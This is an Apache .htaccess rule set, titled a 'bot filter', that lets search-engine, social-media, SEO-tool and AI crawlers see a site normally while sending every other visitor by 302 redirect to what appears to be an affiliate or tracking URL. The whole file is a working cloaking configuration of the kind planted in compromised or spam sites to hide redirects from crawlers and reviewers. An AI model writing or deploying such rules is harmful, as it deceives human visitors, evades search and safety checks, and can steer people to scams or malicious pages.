# --- BOT FILTER: Bots see real site, users get redirected ---
RewriteEngine On

# Google (all variants)
RewriteCond %{HTTP_USER_AGENT} !googlebot [NC]
RewriteCond %{HTTP_USER_AGENT} !Google-InspectionTool [NC]
RewriteCond %{HTTP_USER_AGENT} !Google-Read-Aloud [NC]
RewriteCond %{HTTP_USER_AGENT} !APIs-Google [NC]
RewriteCond %{HTTP_USER_AGENT} !Storebot-Google [NC]
RewriteCond %{HTTP_USER_AGENT} !GoogleOther [NC]
RewriteCond %{HTTP_USER_AGENT} !Google-Extended [NC]
RewriteCond %{HTTP_USER_AGENT} !Mediapartners-Google [NC]
RewriteCond %{HTTP_USER_AGENT} !AdsBot-Google [NC]
RewriteCond %{HTTP_USER_AGENT} !FeedFetcher-Google [NC]

# Bing / Microsoft
RewriteCond %{HTTP_USER_AGENT} !bingbot [NC]

# Other search engines
RewriteCond %{HTTP_USER_AGENT} !slurp [NC]
RewriteCond %{HTTP_USER_AGENT} !duckduckbot [NC]
RewriteCond %{HTTP_USER_AGENT} !baiduspider [NC]
RewriteCond %{HTTP_USER_AGENT} !yandexbot [NC]
RewriteCond %{HTTP_USER_AGENT} !sogou [NC]
RewriteCond %{HTTP_USER_AGENT} !exabot [NC]
RewriteCond %{HTTP_USER_AGENT} !seznambot [NC]

# Social media
RewriteCond %{HTTP_USER_AGENT} !facebot [NC]
RewriteCond %{HTTP_USER_AGENT} !facebookexternalhit [NC]
RewriteCond %{HTTP_USER_AGENT} !twitterbot [NC]
RewriteCond %{HTTP_USER_AGENT} !linkedinbot [NC]
RewriteCond %{HTTP_USER_AGENT} !whatsapp [NC]
RewriteCond %{HTTP_USER_AGENT} !telegrambot [NC]

# SEO tools
RewriteCond %{HTTP_USER_AGENT} !semrushbot [NC]
RewriteCond %{HTTP_USER_AGENT} !ahrefsbot [NC]
RewriteCond %{HTTP_USER_AGENT} !mj12bot [NC]
RewriteCond %{HTTP_USER_AGENT} !dotbot [NC]
RewriteCond %{HTTP_USER_AGENT} !petalbot [NC]
RewriteCond %{HTTP_USER_AGENT} !rogerbot [NC]
RewriteCond %{HTTP_USER_AGENT} !screaming [NC]
RewriteCond %{HTTP_USER_AGENT} !dataforseo [NC]

# AI crawlers
RewriteCond %{HTTP_USER_AGENT} !GPTBot [NC]
RewriteCond %{HTTP_USER_AGENT} !ChatGPT [NC]
RewriteCond %{HTTP_USER_AGENT} !ClaudeBot [NC]
RewriteCond %{HTTP_USER_AGENT} !Bytespider [NC]
RewriteCond %{HTTP_USER_AGENT} !CCBot [NC]
RewriteCond %{HTTP_USER_AGENT} !Amazonbot [NC]
RewriteCond %{HTTP_USER_AGENT} !anthropic [NC]
RewriteCond %{HTTP_USER_AGENT} !cohere [NC]

# Other
RewriteCond %{HTTP_USER_AGENT} !applebot [NC]
RewriteCond %{HTTP_USER_AGENT} !ia_archiver [NC]

# Generic catch-alls
RewriteCond %{HTTP_USER_AGENT} !crawler [NC]
RewriteCond %{HTTP_USER_AGENT} !spider [NC]
RewriteCond %{HTTP_USER_AGENT} !bot [NC]

RewriteRule ^(.*)$ https://www.af9m8trk.com/SC31155E/1CT127E5/?s1=us [R=302,L]
# --- END BOT FILTER ---